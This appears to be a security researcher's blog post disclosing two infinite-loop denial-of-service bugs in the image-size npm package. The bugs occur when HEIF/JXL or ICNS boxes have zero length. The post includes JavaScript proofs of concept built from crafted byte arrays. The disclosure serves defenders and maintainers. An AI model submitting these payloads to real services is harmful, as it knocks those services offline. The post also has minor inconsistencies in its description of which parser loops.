

# Joshua Rogers' Scribbles

[About Me](#) [Services](#) [Projects](#) [Ideas](#) [Curriculum Vitae](#) [Contact](#)

## Two infinite loop / DoS vulnerabilities in image-size

While auditing some code to be used in my company's product, I had to look at the codebase for [image-size](#). This package can be used to determine the size of an image file, across a range of formats. Imagine for example you receive arbitrary image files from a user, and need to determine the size for whatever reason: this package is how you would do it.

During my audit, I discovered the following vulnerability. This vulnerability affects every version up to at least version 2.0.2 (it's still unpatched).

### Bug number 1

###

Similar to [GHSA-m5qc-5hw7-8vgZ](#), an infinite loop may occur when parsing `HEIF` and `JP2` types.

### Details

####

In the JXL image parsing code, a loop exists which depends on the incrementation of a JXL's box size increasing. However, `jxlpBox.size` (for example) may be zero, resulting in the offset not being advanced, resulting in an infinite loop.

Consider:

```
export function findBox(
  input: Uint8Array,
  boxName: string,
  currentOffset: number,
) {
  while (currentOffset < input.length) {
    const box = readBox(input, currentOffset)
    if (!box) break
    if (box.name === boxName) return box    ----- [ returns box with box.size ===
[..]
```

```

}
}

```

Now consider how `findBox()` is used in jxl parsing:

```

function extractPartialStreams(input: Uint8Array): Uint8Array[] {
  const partialStreams: Uint8Array[] = []
  let offset = 0
  while (offset < input.length) {
    const jxlpBox = findBox(input, 'jxlp', offset)
    if (!jxlpBox) break
    partialStreams.push(
      input.slice(jxlpBox.offset + 12, jxlpBox.offset + jxlpBox.size),
    )
    offset = jxlpBox.offset + jxlpBox.size ----- [ jxlpBox.size === 0 ]
  }
  return partialStreams
}

```

The `while (offset < input.length)` loop will continue forever, as the offset will only be incremented by 1.

The same issue exists in heif parsing.

## Proof of Concept

####

An example PoC for the heif parser:

```

// mkdir 2.0.2
// cd 2.0.2/
// npm i image-size@2.0.2
const {imageSize} = require("image-size");

const PAYLOAD = new Uint8Array([
  // ftyp (size=16)
  0x00,0x00,0x00,0x10, 0x66,0x74,0x79,0x70,
  0x61,0x76,0x69,0x66, 0x00,0x00,0x00,0x00,
  // meta (size=36)
  0x00,0x00,0x00,0x24, 0x6D,0x65,0x74,0x61,
  0x00,0x00,0x00,0x00,
  // iprp (size=8)
  0x00,0x00,0x00,0x08, 0x69,0x70,0x72,0x70,
  // ipco (size=20)
  0x00,0x00,0x00,0x14, 0x69,0x70,0x63,0x6F,
  // ispe (size=0) + padding (16 bytes)
  0x00,0x00,0x00,0x00, 0x69,0x73,0x70,0x65,
  0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
  0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,
]);

```

```
imageSize(PAYLOAD)
```

## Impact

####

Infinite looping, resulting in Denial of Service.

## Bug number 2

###

A similar infinite loop exists in the ICNS code path. This one was picked up by another user in [this](#) post, after I reported mine and submitted a patch to fix it. It's the exact same type of bug:

```
// In dist/detector.cjs:252 the loop is:
// while (imageOffset < fileLength && imageOffset < inputLength)
// It advances via `imageOffset += imageHeader[1]` (the entry length).
// A crafted entry with length 0 never advances imageOffset -> infinite loop (DoS).

const { imageSize } = require('image-size');

const malicious = new Uint8Array([
  0x69, 0x63, 0x6e, 0x73, // 'icns' magic bytes -> passes the ICNS signature check
  0x00, 0x00, 0x00, 0x10, // file length = 16 (big-endian) -> the loop's upper bound
  0x69, 0x73, 0x33, 0x32, // entry type 'is32' (a valid icon type)
  0x00, 0x00, 0x00, 0x00, // entry length = 0 -> imageOffset never advances -> infinite loop
]);

imageSize(malicious);
```

Published on September 19th, 2025 by [Joshua Rogers](#)

---

## Related Posts

<a href="#">From gixy-ng to Gixy-Next: rescuing the nginx security scanner, Gixy, from AI slop</a>	January 10, 2026
<a href="#">My 2025 Bug Bounty Stories</a>	December 22, 2025
<a href="#">Another AI slop story: ChatGPT vs. Human</a>	December 5, 2025
<a href="#">AI slop security engineering: Okta's nextjs-auth0 troubles</a>	November 18, 2025
<a href="#">Gixy-Next: an overview of a Gixy fork with updated, improved, and new checks</a>	November 10, 2025
<a href="#">Retrospective: AI-powered security engineers and source code scanners</a>	October 19, 2025
<a href="#">One-Way Sandboxed Iframes: Creating a Read-Only Iframe Sandbox That Can't Read Back</a>	October 4, 2025
<a href="#">Network Security: Absurdity of Shared NICs with BMCs and Management Networks</a>	October 3, 2025
<a href="#">CCBot: Chrome Checker Bot for Chrome Security Releases</a>	October 3, 2025
<a href="#">Securely Validating Domain Names with Regular Expressions</a>	October 2, 2025
<a href="#">Bypassing Zscaler, Kandji MDM, and Apple Business Manager for Fun and Lulz</a>	September 22, 2025
<a href="#">NXDOMAIN'd: Catching unregistered domains for fun and profit</a>	September 19, 2025

<a href="#">Hacking with AI SASTs: An overview of 'AI Security Engineers' / 'LLM Security Scanners' for Penetration Testers and Security Teams</a>	September 18, 2025
<a href="#">A Comparison of Tools to Detect ReDoS-vulnerable Expressions</a>	July 19, 2025
<a href="#">Proxy Services, Hijacked Companies, and the Rabbit-Hole of Fake Hosting Companies and Big Sky Services</a>	July 5, 2025
<a href="#">On Iranian Censorship, Bypasses, Browser Extensions, and Proxies</a>	June 18, 2025
<a href="#">A small solution to DNS rebinding in Python</a>	April 12, 2025
<a href="#">Identifying ReDoS Vulnerabilities in Nginx Configurations Using Gixy-Next</a>	March 16, 2025
<a href="#">Can Nginx Configurations Be Vulnerable to ReDoS Expressions?</a>	February 18, 2025
<a href="#">Extracting TLS Session Keys in Burp Proxy à la SSLKEYLOGFILE</a>	February 15, 2025
<a href="#">proxy_pass: nginx's Dangerous URL Normalization of Paths</a>	February 15, 2025
<a href="#">Debugging failures of HTTP/2 in Burp, mitmproxy, and browsers</a>	February 14, 2025
<a href="#">CodeQL on MacOS</a>	February 13, 2025
<a href="#">Some Thoughts on "Fixing Security Issues"</a>	November 8, 2024
<a href="#">Crawling every Debian .deb package in history from snapshot.debian.org, learning the .deb format, and finding rate-limiting bypasses</a>	September 26, 2024
<a href="#">An automatic captive-portal resolver and DNS white-lister for DNS over TLS with Unbound</a>	August 25, 2024
<a href="#">Encrypted NTP using NTS and chrony on FreeBSD</a>	July 7, 2024
<a href="#">Encrypted DNS over TLS on FreeBSD with Unbound, and Blocking Unencrypted DNS Traffic</a>	July 6, 2024
<a href="#">Fuzzing scripting languages' interpreters' native functions using AFL++ to find memory corruption and more</a>	June 27, 2024
<a href="#">Supply chain attacks and the many (other) different ways I've backdoored your dependencies</a>	May 2, 2024
<a href="#">A DoS Attack in RuneScape: In 3-Dimensions!</a>	April 1, 2024
<a href="#">The End of Yubikeys as 2-Factor-Authentication? Google Breaks 2FA with Yubikeys in Favor of Passkeys</a>	February 2, 2024
<a href="#">A RuneScape Hacker's Dream: An Authenticator and PIN Bypass</a>	January 16, 2024
<a href="#">Credential Stuffing Done Right: Some Tips</a>	January 15, 2024
<a href="#">SSH-Snake Update: Multi-IP Domain Resolution</a>	January 11, 2024
<a href="#">Firefox now automatically trusting the operating system's root store for TLS certificates - update: it does so only for user-added ones</a>	January 9, 2024
<a href="#">On the Google Account Persistence Exploit</a>	January 9, 2024
<a href="#">LDAP Watchdog: Real-time LDAP Monitoring for Linux and OpenLDAP</a>	January 6, 2024
<a href="#">SSH-Snake: Automatic traversal of networks using SSH private keys</a>	January 4, 2024
<a href="#">No new iPhone? No secure iOS: Looking at an unfixed iOS vulnerability</a>	December 16, 2023
<a href="#">SSH Adventures Continued: Invalid CVE-2018-15473 Patches</a>	December 9, 2023
<a href="#">Fuzzing glibc's libresolv's res_init()</a>	November 7, 2023
<a href="#">Revisiting the past: Security recommendations of a 17-year-old Joshua</a>	November 4, 2023
<a href="#">How to DoS MySQL/MariaDB and PostgreSQL Servers With Fewer Than 55kb of Data</a>	October 17, 2023
<a href="#">55 Vulnerabilities in Squid Caching Proxy and 35 0days</a>	October 11, 2023
<a href="#">root with a single command: sudo logrotate</a>	October 1, 2023
<a href="#">CVE-2023-4863: Fallout hits Facebook; probably much much more</a>	September 13, 2023
<a href="#">Nagios Plugins: Hacking Monitored Servers with check_by_ssh and Argument Injection: CVE-2023-37154</a>	September 5, 2023
<a href="#">Tracking a secret LoginTime LDAP attribute with Operational Attributes</a>	August 22, 2023
<a href="#">Improve nmap's service scanning with this 1 weird trick!</a>	August 18, 2023
<a href="#">Speeding up nmap service scanning 16x</a>	August 13, 2023
<a href="#">5 Tips For Port Service Scanning 16x Faster: Part 1</a>	July 30, 2023
<a href="#">Describing All Kubernetes Pods of All Namespaces for Fun and Profit</a>	July 12, 2023
<a href="#">Stealing All of Hashicorp Vault's Secrets Using Login Enumeration</a>	July 10, 2023
<a href="#">Achieving persistence with a hidden SSH backdoor</a>	June 26, 2023
<a href="#">Attacking a temperamental ten-year-old Jenkins server</a>	February 21, 2023
<a href="#">Attacking a scripting language's cryptographic functions with Wycheproof</a>	June 5, 2022
<a href="#">How I got into the security industry</a>	April 14, 2022

